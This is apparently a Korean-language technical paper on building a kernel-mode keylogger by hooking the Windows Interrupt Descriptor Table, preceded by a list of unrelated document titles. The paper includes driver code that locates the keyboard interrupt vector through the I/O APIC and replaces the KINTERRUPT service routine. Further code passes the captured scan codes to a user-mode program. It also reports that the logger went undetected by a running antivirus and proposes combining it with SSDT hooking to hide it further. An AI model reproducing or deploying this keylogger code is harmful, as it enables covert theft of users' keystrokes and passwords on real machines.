<B1E2BCFAB9AEBCAD28C0CCB5BFBCF6295F494454486F6F6B696E672E687770>



Similar documents
K&R2 Reference Manual 번역본


인천광역시의회 의원 상해 등 보상금 지급에 관한 조례 일부개정조례안 의안 번호 179 제안연월일 : 제 안 자 :조례정비특별위원회위원장 제안이유 공무상재해인정기준 (총무처훈령 제153호)이 공무원연금법 시행규칙 (행정자치부령 제89호)으로 흡수 전면 개

종사연구자료-이야기방 hwp

목 차 국회 1 월 중 제 개정 법령 대통령령 7 건 ( 제정 -, 개정 7, 폐지 -) 1. 댐건설 및 주변지역지원 등에 관한 법률 시행령 일부개정 1 2. 지방공무원 수당 등에 관한 규정 일부개정 1 3. 경력단절여성등의 경제활동 촉진법 시행령 일부개정 2 4. 대

슬라이드 1

<C1D6BFE4BDC7C7D0C0DA5FC6EDC1FDBFCF28B4DCB5B5292E687770>

시편강설-경건회(2011년)-68편.hwp

untitled

정 관

<B1E2BCFAB9AEBCAD28C0CCB5BFBCF6295F F6F6B696E672E687770>

<C1A4C8B8BFF8C6F2B0A15FB1E2BCFAB9AEBCAD5F444B4F4D5FC0CCB5BFBCF62E687770>

<38BFF920BFF8B0ED2DC8F1BFB5BEF6B8B620C6EDC1FDBABB2E687770>

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

기사스크랩 (160504).hwp

WinDBG 실무

산림병해충 방제규정 4. 신문 방송의 보도내용 등 제6 조( 조사지역) 제5 조에 따른 발생조사는 다음 각 호의 지역으로 구분하여 조사한다. 1. 특정지역 : 명승지 유적지 관광지 공원 유원지 및 고속국도 일반국도 철로변 등 경관보호구역 2. 주요지역 : 병해충별 선단

김기중 - 방송통신심의위원회 인터넷 내용심의의 위헌 여부.hwp


주택시장 동향 1) 주택 매매 동향 2) 주택 전세 동향 3) 규모별 아파트 가격지수 동향 4) 권역별 아파트 매매 전세시장 동향 토지시장 동향 1) 지가변동률 2) 토지거래 동향 강남권 재건축아파트 시장동향 15 준공업지역 부동산시장 동향

<4D F736F F F696E74202D C7D4BFEEC3B6B1B3BCF6B4D4205BC8A3C8AF20B8F0B5E55D>

Microsoft PowerPoint - polling.pptx

래를 북한에서 영화의 주제곡으로 사용했다든지, 남한의 반체제세력이 애창한다 든지 등등 여타의 이유를 들어 그 가요의 기념곡 지정을 반대한다는 것은 더 이상 용인될 수 없는 반민주적인 행동이 될 것이다. 동시에 그 노래가 두 가지 필요조 건을 충족시키지 못함에도 불구하고

1단원

202

190

> 1. 법 제34조제1항제3호에 따른 노인전문병원 2. 국민건강보험법 제40조제1항의 규정에 의한 요양기관(약국을 제외한다) 3. 삭제< > 4. 의료급여법 제2조제2호의 규정에 의한 의료급여기관 제9조 (건강진단) 영 제20조제1항의 규

노인복지법 시행규칙

<B9E9B3E2C5CDBFEFB4F5B5EBBEEE20B0A1C1A4B8AE20B1E6C0BB20B0C8B4C2B4D92E687770>

184최종

07Á¤Ã¥¸®Æ÷Æ®-pdf¿ë

200707Á¤Ã¥¸®Æ÷Æ®_³»Áö

hlogin2

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

Deok9_Exploit Technique

1-1Çؼ³

4) 이 이 6) 위 (가) 나는 소백산맥을 바라보다 문득 신라의 삼국 통 일을 못마땅해하던 당신의 말이 생각났습니다. 하나가 되는 것은 더 커지는 것이라는 당신의 말을 생각하면, 대동강 이북의 땅을 당나라에 내주기로 하고 이룩한 통 일은 더 작아진 것이라는 점에서,

<443A5CB1E8C7F6C1D85CB1E8C7F6C1D85FB0E6B8AE5CBDC5B0E8BEE0BCADB7F95C F492E2E2E5F53724D E A5A >

¾Èµ¿±³È¸º¸ÃÖÁ¾

¾Ë±â½¬¿îÀ±¸®°æ¿µc03ÖÁ¾š

#³óÃÌ°æÁ¦ 64È£-Ä®¶ó¸é

호랑이 턱걸이 바위

<B5B6BCADC7C1B7CEB1D7B7A52DC0DBBEF7C1DF E687770>

IRP란 무엇인가

6,7월영상 내지_최종

zb 2) 짜내어 목민관을 살찌운다. 그러니 백성이 과연 목민관을 위해 있는 것일까? 아니다. 그건 아니다. 목민관이 백성 을 위해 있는 것이다. 이정 - ( ᄀ ) - ( ᄂ ) - 국군 - 방백 - 황왕 (나) 옛날에야 백성이 있었을 뿐이지, 무슨 목민관이 있 었던

SSDT(System Service Descriptor Table) Hooking Written by 백구 Contack Me : 목차 가. 이문서의목적... 2 나. 유저모드와커널모드... 2 다. Windows API 흐름..

PowerPoint 프레젠테이션

시 수정.hwp

PowerPoint 프레젠테이션

Microsoft PowerPoint - a10.ppt [호환 모드]

# ¸®´õ½ÊÆ÷Ä¿½º_07-2

<C6EDC1FD20B0F8C1F7C0AFB0FCB4DCC3BC20BBE7B1D420B0B3BCB120BFF6C5A9BCF32E687770>

망되지만, 논란은 더욱 증폭될 것으로 전망된다. 일단 광주지역 민주화 운동 세력 은 5.18기념식을 국가기념일로 지정 받은 데 이어 이 노래까지 공식기념곡으로 만 들어 5.18을 장식하는 마지막 아우라로 활용한다는 계획이다. 걱정스러운 건 이런 움직임이 이른바 호남정서

PowerPoint 프레젠테이션

b77¹¼úÁ¤º¸š

2015년 2월 12일 사랑의 동삭교육 제 호 (2월) 년 2월 12일 사랑의 동삭교육 제 호 (2월) 6 겨울이 되면 1-4 박지예 겨울이 되면 난 참 좋아. 겨울이 되면 귀여운 눈사람도 만들고 겨울이 되면 신나는 눈싸움도 하고 겨울이

<33C6E4C0CCC1F620C1A63139C8A320B8F1C2F72E687770>

Here is a "PLDWorld.com"... // EXCALIBUR... // Additional Resources // µc/os-ii... Page 1 of 23 Additional Resources: µc/os-ii Author: Source: HiTEL D

<4E756C6C40526F6F745FB9AEBCADB9F8BFAA5FC0CCB5BFBCF62E687770>

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

640..

[8051] 강의자료.PDF

IAEA

無爲旅行의 세상에 대한 삿대질 005

지 생각하고, 재료를 준비하고, 요리를 하고, 설거지를 하고. 이 작업을 3번 반복 하는 것만으로 하루가 다 간다. 그들이 제작진에게 투쟁하는 이유는 그들이 원하는 재료를 얻기 위해서다. 그 이상의 생각은 하고 싶어도 할 겨를이 없다. 이 땅은 헬조선이 아니다. 일단

194

3) 지은이가 4) ᄀ에 5) 위 어져야 하는 것이야. 5 동원 : 항상 성실한 삶의 자세를 지녀야 해. 에는 민중의 소망과 언어가 담겨 있다고 생각하기 때문 입니다. 인간의 가장 위대한 가능성은 이처럼 과거를 뛰어넘고, 사회의 벽을 뛰어넘고, 드디어 자기를 뛰어넘 는

<312E B3E2B5B520BBE7C8B8BAB9C1F6B0FC20BFEEBFB5B0FCB7C320BEF7B9ABC3B3B8AE20BEC8B3BB28B0E1C0E7BABB292DC6EDC1FD2E687770>

삼외구사( 三 畏 九 思 ) 1981년 12월 28일 마산 상덕법단 마산백양진도학생회 회장 김무성 외 29명이 서울 중앙총본부를 방문하였을 때 내려주신 곤수곡인 스승님의 법어 내용입니다. 과거 성인께서 말씀하시길 道 를 가지고 있는 사람과 어울려야만 道 를 배울 수 있

歯111

<C1A634C2F720BAB8B0EDBCAD20C1BEC6ED20BDC3BBE720C5E4C5A920C7C1B7CEB1D7B7A5C0C720BEF0BEEE20BBE7BFEB20BDC7C5C220C1A1B0CB20C1A6C3E22E687770>

이명숙초고.hwp

Figure 5.01

분 후 가구수 현 행 조 후 가구수 가구수 비 장호원 진암5 468 부 발 무촌3 579 백 사 현방 증포1 448 증 포 갈산1 769 진암5 281 기존 자연마을 진암 코아루아파트 369세대 무촌3 271 기존 자연마을 무촌 효

untitled

참여연대 이슈리포트 제 호

+국악누리 8월호 내지최종 0722

Microsoft Word - building the win32 shellcode 01.doc

2005년 6월 고1 전국연합학력평가

untitled

PDF법보130910

블링블링 제주월드

V28.

<443A5CBBEFBCBA2CB8DEB8AEC3F72CB5BFBACE2C4B4220BEE0B0FC5C28322E2E2E>

SRC PLUS 제어기 MANUAL

Microsoft Word - MSOffice_WPS_analysis.doc

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

새정치민주연합 혁신위원회에 대해 사실이 아닌 주장을 쏟아내고, 지도부를 향한 음해와 비난을 일삼으며 방송용으로는 적 절하지 않은 표현들을 남용한 것에 대해 심의를 요청한다는 민원에 대해 방송내용을 확인하고 논의한 결과, 진행자(장성민)와 출연자(김태현 변호사, 이종훈

VISION2009사업계획(v5.0)-3월5일 토론용 초안.hwp

제운의 블로그북

교통사고합의금 도둑 안 맞기

Embeddedsystem(8).PDF

불이 18ȣ 완성본.indd

등대3강(이남수) - 옆집 엄마 한마디에 무너지지 마세요.hwp

<B0B3C0CEC1A4BAB85FBAB8C8A3B9FDB7C95FB9D75FC1F6C4A7B0EDBDC35FC7D8BCB3BCAD C3D6C1BE292E687770>

가입 감사의 글 삼성화재 보험상품에 가입해 주신 고객님께 진심으로 감사의 인사를 드립니다. 삼성화재는 국내 최고를 넘어 글로벌 초일류 보험회사를 지향하고 있습니다. 그에 앞서 가장 먼저 갖춰야 할 덕목은 고객만족이라고 생각합니다. 이를 위해 저희 삼성화재는 고객님이 보

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

<BBE7B8B3B4EBC7D0B0A8BBE7B9E9BCAD28C1F8C2A5C3D6C1BE E687770>

Ⅰ. 머리말 각종 기록에 따르면 백제의 초기 도읍은 위례성( 慰 禮 城 )이다. 위례성에 관한 기록은 삼국사기, 삼국유사, 고려사, 세종실록, 동국여지승람 등 많은 책에 실려 있는데, 대부분 조선시대에 편 찬된 것이다. 가장 오래된 사서인 삼국사기 도 백제가 멸망한지

Transcription:

IDT Hooking을 이용한 Simple KeyLogger 이동수 alonglog@is119.jnu.ac.kr

개 요 커널 Hooking에 관하여 공부하는 중에 IDT Hooking에 관하여 알게 되었다. 이전에 공부하 였던 SSDT Hooking과는 다른 요소가 많다. IDT Hooking을 공부하면서 컴퓨터의 인터럽트 과정을 이해할 수 있는 좋은 계기가 되었다. 이 문서는 IDT의 정의와 키보드의 스캔코드를 간략히 다룰 것이다. 그리고 입력된 키를 유저모 드에서 확인할 수 있는 간단한 프로그램을 만들어 볼 것이다. 이 문서에서 만든 소스는 chipe님과 Rootkit에 있는 소스를 참조하여 만들었다. 이 문서에서 이해가 안 되는 부분은 chpie님의 홈페이지 'chipe.tistory.com'과 'Rootkit: 윈도우 커널 조작 의 미학'을 참조하기 바란다.

Content 1. 목적 1 2. 사전지식 2 2.1. IDT(Interrupt Descriptor Table) 2 2.2. 인터럽트 처리 과정 3 2.3. SCAN CODE 4 3. IDT Hooking 5 3.1. IDT의 시작주소 얻기 5 3.2. 키보드 처리함수의 인덱스번호 얻기 5 3.3. 키보드 처리함수의 KINTERRUPT 얻기 6 4. 간단한 키로거 만들기 8 5. 실험 및 결과 11 6. 결론 13 참고문헌 14

1. 목적 이번 기술문서의 주제는 IDT Hooking이다. 인터럽트를 처리해주는 함수의 루틴을 가지고 있는 IDT를 Hooking하여 원하는 행위를 하도록 할 수 있다. 가장 대표적인 행위가 키 이벤트가 발생하였을 때 어떤 키가 눌렸는 지 확인이 가능하다는 것이다. 이 문서에서는 IDT가 무엇인지 공부하고, 윈도우즈가 인터럽트를 어떻게 처리하는지 살펴보겠다. 마지막에 유저모드의 어플리케이션과 IDT를 Hooking하는 시스템 파일을 연 동하여 어떤 키가 눌렸는지 간단하게 알 수 있는 프로그램을 작성해보고 마치도록 하겠 다. - 1 -

2. 사전지식 2.1 IDT(Interrupt Descriptor Table) 인터럽트 디스크립터 테이블(이하. IDT)는 이름에서도 엿볼 수 있듯이 인터럽트가 발 생하였을 때 처리해주는 함수의 루틴을 포함하고 있는 테이블이며 256개의 엔트리로 구 성되어 있다. [그림 1]은 IDT의 구조를 보여준다. [그림 1] IDT 구조 [그림 1]에서 우리가 봐야할 부분은 'Offset 15..0 로 표시된 OffsetLow필드와 'Offset 31..16'로 표시된 OffsetHigh필드이다. 이 두 필드가 합쳐진 32비트 값이 실제 인터럽트 처리 루틴(이하. ISR, Interrupt Service Routine)의 주소를 가지고 있는 인터럽트오브젝 트의 주소이다. 프로세서는 자신만의 IDT를 가지고 있다. 만일, 프로세서가 여러 개라 면 IDT도 프로세서의 개수에 맞추어 존재한다. [그림 2]는 내가 실험한 PC의 IDT를 보 여주고 있다. [그림 2] IDT [그림 2]에서 우리가 주목해서 봐야할 부분은 I8042KeyboardInterruptService이다. 이 함수가 키보드가 발생했을 때의 ISR을 가지고 있다. [그림 3]은 I8042KeyboardInterruptService의 인터럽트오브젝트의 구조체를 보여준다. - 2 -

[그림 3] I8042KeyboardInterruptService의 인터럽트오브젝트 [그림 3]에서 우리가 주목해서 봐야할 부분은 'ServiceRoutine'필드이다. 이 필드가 실 제로 인터럽트를 처리하는 ISR의 시작 주소이다. 우리는 저 필드를 우리가 지정한 함수 로 바꾸는 것이다. 2.2 인터럽트 처리 과정 인터럽트 처리 과정을 간단하게 알아보고 넘어가자. 프로세서가 인터럽트 되면 인터럽트 요청(IRQ) 1) 을 얻게 되고, CPU는 PIC를 이용하여 IRQ를 인터럽트 번호로 변환하여 IDT의 인덱스 번호로 사용한다. IDT를 참조하여 IDT에 쓰여진 주소 값이 실행되는데 이 주소값은 KINTERRUPT의 DispatchCode필드 값이다. DispatchCode는 일반적인 경우 KiInterruptDispatch()를 실행시키고, 다중의 인터럽트 객체가 연결된 인터럽트의 경우에는 KiChainedDispatch()가 실행된다. KiInterruptDispatch()는 KINTERRUPT를 매개변수로 받아서 내부에 저장된 정보들을 이 용해 권한을 상승시킨 후, ServiceRoutine를 호출한다. KINTERRUPT는 전 챕터에서 언급한 인터럽트오브젝트이다. 처리 과정을 통해 알 수 있듯이 KINTERRUPT의 ServicceRoutine의 주소를 바꾼다면 내가 원하는 함수로 루틴을 바꿀 수 있다. 2.3 DPC(Deferred Procedure Call) 지연 프로시저 호출(이하. DPC)에 대해서 아주 간단하게 보고 넘어가자. 나중에 코드 를 작성할 때 사용되기 때문에 무엇인지만 간단하게 집고 넘어가겠다. ISR이 실행된 후 장치 인터럽트를 다루는 작업의 대부분을 수행하는 루틴이다. DPC 루틴은 불필요하게 다른 인터럽트들을 막는 것을 피하기 위해 ISR의 IRQL(interrupt request level) 2) 보다 더 낮은 수준의 IRQL에서 실행된다. 1) IRQ : 인터럽트를 식별하는 값 2) IRQL : 인터럽트 우선순위 스키마이다. 0에서 31까지의 숫자를 사용하는데 높은 번호가 높은 인터럽트 순위 를 가진다. - 3 -

2.3 SCAN CODE 스캔 코드는 키보드에서 키를 눌렀을 때 발생하는 데이터이다. 이 데이터를 가지고 어 떤 키가 눌렸는지 확인할 수 있다. 스캔 코드에 관련된 포트는 0x60과 0x61이다. 0x60 포트에는 눌린 키에 대한 데이터가 들어있고 0x61포트에는 상태정보가 들어있다. 우리 가 읽어야 할 부분은 0x60포트의 데이터이다. 데이터의 최상위 1비트는 키가 눌린 상태인지 떼어진 상태인지를 나타낸다. 그리고, 알아야 할 정보가 0xe0이다. 이 데이터는 확장형 데이터로서 오른쪽 컨트롤 키나 알트 키 같은 확장된 키 정보를 가지고 있다. 스캔 코드에 대해서는 이 정도로 줄이겠다. 자세한 사항을 알고 싶다면 아래 주소를 참조해라. http://www.win.tue.nl/~aeb/linux/kbd/scancodes-1.html#ss1.1-4 -

3. IDT Hooking 3.1 IDT의 시작주소 얻기. 인터럽트가 발생하면 인터럽트 요청(IRQ)를 얻게 되고, 인터럽트 컨트롤러는 IRQ를 인 터럽트 번호로 변화하여 IDT의 인덱스로 사용한다. 이 때 IDT의 주소는 IDTR(interrupt descriptor table register)를 이용해서 얻을 수 있다. [그림 4]는 IDTR의 구조를 보여준 다. [그림 4] IDTR의 구조 [그림 4]에서 IDT Base Address'필드는 IDT의 시작 주소를 나타내준다. IDT Limit는 IDT에 저장되어 있는 개수를 알려준다. 우리가 필요한 부분은 'IDT Base Address 필드 이다. 어셈블리 명령어인 SIDT(Store Interrupt Descriptor)를 이용하면 IDTR의 정보를 쉽게 얻어올 수 있다. 3.2 키보드 처리함수의 인덱스번호 얻기 앞에서 우리는 IDT의 시작주소를 얻는 방법을 얻었다. 그럼 이제 키보드 처리함수인 I8042KeyboardInterruptService의 인터럽트오브젝트를 얻어야 한다. 이 말은 곧 IDT에서 키보드 처리함수의 인덱스 번호를 알아야 한다는 말과 일치한다. 인터럽트오브젝트의 주 소를 알아야 ISR을 우리가 만든 함수로 바꿔칠 수가 있다. 가장 간단한 방법은 IDT의 인 덱스 번호를 참조하는 것이다. 윈도우즈 XP SP2에서 키보드 처리함수의 인덱스 번호의 기본 값은 0x93이다. 이를 이용하면 쉽게 작성할 수 있겠지만 IDT의 인덱스는 바뀔 수 있다. 그래서 인덱스 번호를 구하는데 이용할 수 있는 방법이 PIC(Programmable Interrupt Controller)를 이용하는 방법이다. I/O APIC는 내부 레지스터에 IRQ에 대응하는 인덱스 번호를 가지고 있다. 이 레지스 터는 0xFEC00000이라는 물리메모리에 맵핑되어 있어서 읽기/쓰기가 가능하다. 인텔 I/O APIC 데이터시트를 보면 IOREGSEL 레지스터와 IOWIN레지스터를 사용하는 것을 확 인할 수 있다. IOREGSEL 레지스터에 IRQ를 입력한 후, IOWIN 레지스터를 읽으면 입력 한 IRQ에 해당하는 IDT의 인덱스 번호를 얻을 수 있다. 여기서 문제점이 있는데, 그것은 물리메모리인 0xFEC00000에 직접 접근할 수 없다는 것이다. 이 문제점은 0xFEC00000를 유저모드에서 사용가능한 가상메모리의 0번지인 0xC00000000에 맵핑함으로서 쉽게 해결이 가능하다. 아래 네모 칸 안의 코드가 인덱스 번호를 구하는 코드이다. 이 코드는 Anton Bassov 님의 문서에서 발췌한 것이다. - 5 -

ULONG Vector; PULONG array = NULL; _asm { } mov ebx, 0xfec00000 or ebx, 0x13 mov eax, 0xc0000000 mov dword ptr[eax], ebx array[0] = 0x10 + 2 * IRQ; Vector = (array[4]&0xff); 위 코드를 살펴보고 넘어가자. Array변수에 NULL을 넣은 이유는 가상메모리의 0번지 를 나타내기 위해서 이다. 이 가상메모리의 0번지는 물리메모리의 0xC0000000이다. 어셈블리 코드로 들어가 보면 위에서 설명한 것처럼 0xFEC00000의 주소를 0xC0000000으로 맵핑하는 것이 보인다. 그런데 0xFEC00000의 값에 0x13 값을 or 연 산을 하고 있다. 무슨 이유일까? 그 이유는 상위 20비트는 물리메모리인 0xFEC00를 나타내고, 하위 12비트는 플래그 값을 나타낸다. 0x13은 Present, ReaWrite, CacheDisabled 플래그들을 셋팅하는 값이다. 어셈블리 코드를 빠져나와서 보면 array에 IRQ를 넣는데, 이 부분이 0xFEC00000인 IOREGSEL 레지스터에 IRQ를 넣는 부분이다. 그 후에 array[4]부분에서 값을 읽는데, 이 array[4]가 IOWIN 레지스터이다. 그런데 IOWIN 레지스터에 있는 값을 0xff와 &연산 을 하는 부분이 보인다. 이 이유는 PIC를 이용해 얻은 값은 인덱스 번호에 0x100이 더 해져서 얻어지기 때문이다. [그림 3]에서 보면 'Vector'필드의 값이 0x193으로 되어 있 는 것을 확인할 수 있다. 이렇게 해서 키보드 처리함수의 인덱스 번호도 알아내었다. 3.3 키보드 처리함수의 KINTERRUPT 얻기 KINTERRUPT는 위에서 언급했듯이 인터럽트오브젝트이다. 이 오브젝트에는 다양한 정 보들이 들어 있다. 이 정보 중에는 실질적인 처리 루틴도 들어있다. 챕터 1에서 언급했듯이 IDT의 OffsetLow'필드와 'OffsetHigh 필드를 이용하면 KINTERRUPT의 주소를 알 수 있다고 했었다. 여기에는 이상한 점이 한 가지 있다. 이렇 게 구한 주소 값에서 0x3C를 빼야 한다는 것이다. 그 이유는 찾아보아도 알 수가 없었 다. [그림 5]는 IDT에 저장된 KINTERRUPT를 보여주고 있다. [그림 5] 키보드 처리함수의 KINTERRUPT 주소 - 6 -

[그림 5]에서 검은색 네모 칸 속의 주소는 IDT의 OffsetLow'필드와 'OffsetHigh 필 드를 이용하여 구한 주소 값이다. 그리고 빨간 네모 칸 속의 주소는 실제 KINTERRUPT 의 주소이다. 여기에서도 실제 주소 값이 IDT에서 얻은 주소 값에서 -0x3C만큼 떨어져 있는 것을 확인할 수 있다. 아래 코드는 KINTERRUPT의 실제 주소를 얻는 코드이다. InterruptObject = ((unsigned int)idtentry[vector].offsethigh<<16) (IdtEntry[Vector].OffsetLow); nterruptobject -= 0x3c; KINTERRUPT의 주소도 얻었으니, KINTERRUPT의 ServiceRoutine의 값을 바꾸어 보 자. 현재 모든 인터럽트를 멈추어야 IDT를 수정하는 과정에서 발생할 수 있는 문제를 방 지할 수 있다. 어셈블리 명령어인 'cli'를 이용하면 인터럽트를 멈출 수 가 있다. 멈추었다면 실제 처리함수의 루틴을 저장한 후에 Hooking을 실행하자. Hooking이 끝났 다면 멈춘 인터럽트를 정상으로 되돌려야 한다. 어셈블리 명령어 'sti'를 이용하면 되돌릴 수가 있다. 아래 코드는 실질적으로 IDT를 Hooking하는 코드이다. PKInt = (PKINTERRUPT)((unsigned int)interruptobject); //Hooking _asm cli OldISR = PKInt->ServiceRoutine; PKInt->ServiceRoutine = (ULONG)(NewISR); _asm sti 이제 IDT 후킹은 끝났다. 다음 챕터에서는 간단한 키로거를 만들어 보자. - 7 -

4. 간단한 키로거 만들기 이 장에서는 간단한 키로거를 만들어 볼 것이다. IDT를 Hooking하는 부분은 앞 장에 서 다 언급 하였으니 시스템 파일과 어플리케이션을 연동하는 부분만 살펴보겠다. 모든 코드는 첨부에 넣어놓았다. 아래 네모 칸 속의 코드는 IRP를 설정하는 코드 부분이다. for( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++ ) pdriverobject->majorfunction[i] = IoDispatch; pdriverobject->majorfunction[irp_mj_read] = pdriverobject->majorfunction[irp_mj_write] = IoReadWrite; pdriverobject->majorfunction[irp_mj_device_control] = IoDeviceControl; RtlZeroMemory(pDeviceObject->DeviceExtension, sizeof(device_extension)); deviceextension = (PDEVICE_EXTENSION) pdeviceobject->deviceextension; deviceextension->deviceobject = pdeviceobject; //DPC 설정 IoInitializeDpcRequest(pDeviceObject, DpcForIsr); 위 코드 중에서 굵게 표시된 부분이 중요하다. 이 드라이버로 요청되는 IRP중에서 제어에 해당하는 요청은 IoDeviceControl 루틴이 처리하도록 해놓았다. 그리고 아래 IoInitializeDpcRequest()는 이 드라이버의 DPC를 설 정하는 함수이다. 이 드라이버의 DPC는 DpcForIsr 루틴이다. 그럼 IoDeviceControl 루틴을 살펴보자. 아래 네모 칸 속에 코드가 나와 있다. NTSTATUS IoDeviceControl( IN PDEVICE_OBJECT pdeviceobject, IN PIRP pirp ) { NTSTATUS istatus = STATUS_SUCCESS; PIO_STACK_LOCATION pstack; ULONG itransfered = 0; HANDLE hevent; pstack = IoGetCurrentIrpStackLocation( pirp ); - 8 -

switch( pstack->parameters.deviceiocontrol.iocontrolcode ) { case IOCTL_REGISTER_EVENT: hevent = * (PHANDLE) pirp->associatedirp.systembuffer; istatus=obreferenceobjectbyhandle(hevent, EVENT_MODIFY_STATE, *ExEventObjectType, pirp->requestormode, (PVOID *)&pevent, NULL); requesttick = 1; case IOCTL_REQUEST_DATA: memcpy( (void *)pirp->associatedirp.systembuffer, (const void *)data, sizeof(char [2])); itransfered = sizeof(char [2]); break; } default: istatus = STATUS_INVALID_PARAMETER; break; pirp->iostatus.status = istatus; pirp->iostatus.information = itransfered; IoCompleteRequest( pirp, IO_NO_INCREMENT ); } return istatus; NTSTATUS IoReadWrite( IN PDEVICE_OBJECT pdeviceobject, IN PIRP pirp ) { NTSTATUS istatus = STATUS_SUCCESS; PIO_STACK_LOCATION pstack; ULONG itransfered = 0; pstack = IoGetCurrentIrpStackLocation( pirp ); pirp->iostatus.status = istatus; pirp->iostatus.information = itransfered; IoCompleteRequest( pirp, IO_NO_INCREMENT ); } return istatus; - 9 -

위 코드에서 굵게 표시된 부분이 중요한 코드이다. IOCTL_REGISTER_EVENT 메시지 가 오면 메시지 요청 받았음을 저장하기 위해 requesttick 변수에 1을 저장한다. 그리 고 IOCTL_REQUEST_DATA 메시지가 오면 저장 data변수를 넘겨준다. 이제 유저모드의 어플리케이션에서 드라이버와 어떻게 연동되는지 살펴보자. DeviceIoControl(hDriver, IOCTL_REGISTER_EVENT, &hevent, sizeof(hevent), NULL, 0, &temp, NULL); WaitForSingleObject(hEvent, INFINITE); ResetEvent(hEvent); DeviceIoControl(hDriver, IOCTL_REQUEST_DATA, NULL, 0, &data, sizeof(char[2]), &temp, NULL); DeviceIoControl()함수는 첫 번째 인자가 가리키는 드라이버에게 메시지와 하께 데이 터를 보내거나 받아온다. 3번째와 4번째 인자는 데이터를 넘길 때, 5번째와 6번째 인자 는 데이터를 받아올 때 사용한다. WaitForSingleObject()는 첫 번째 인자로 지정된 이벤 트가 발생할 때까지 대기한다. - 10 -

5. 실험 및 결과 시스템 파일이 만들어지면 어플리케이션과 같은 폴더에 위치시킨 후, 어플리케이션을 실행해보자. 시스템 파일이 정상적으로 동작하였다면 [그림 6]같은 문장이 나타난다. [그림 6] 실행 모습 실행시킨 후, 메모장에 [그림 7]과 같이 문자를 입력하면 [그림 8]과 같이 프로그램 상에 누른 키의 SCAN CODE가 나타나게 된다. [그림 7] 입력된 키 [그림 8] 입력된 키에 따라 출력된 SCAN CODE 원한대로 잘 작동하였다. - 11 -

이 테스트 환경은 윈도우즈 XP SP2버전에 알약 이라는 백신이 돌고 있었다. 실시간 감시가 켜져 있음에도 잡히지 않았다. - 12 -

6. 결론 IDT Hooking을 통한 키로거는 유저모드의 메시지후킹에서 가상의 코드를 가로채었던 거와는 다르게 SCAN CODE라 불리우는 실질적인 코드를 가로챈다. SSDT Hooking과 혼합하면 유저모드에서는 확인이 힘든 키로거가 가능할 거 같다. 기 회가 되면 SSDT Hooking과 함께 만들어진 키로거를 작성해보고 싶다. 또한, 현재 작성 한 키로거는 그냥 SCAN CODE만을 있는 그대로 출력하고 있다. 어플리케이션을 수정하 여 SCAN CODE를 쉽게 알아먹을 수 있는 아스키 코드로 바꾸고 한글 입력도 분별할 수 있는 키로거를 만들어 보고 싶다. 이 것으로 IDT Hooking 문서를 마치도록 하겠다. - 13 -

참고문헌 [1] 김상형, "윈도우즈 API 정복 1", 한빛미디어(주), June 2006 [2] Mark E. RussinovichㆍDavid A. Solomon, "WINDOWS INTERNALS 4th", 정보문화사, January 2006 [3] Greg HoglundㆍJamie Butler, "루트킷 : 윈도우 커널 조작의 미학", 에이콘, July 2008 [4] chpie, "chpie.tistory.com" - 14 -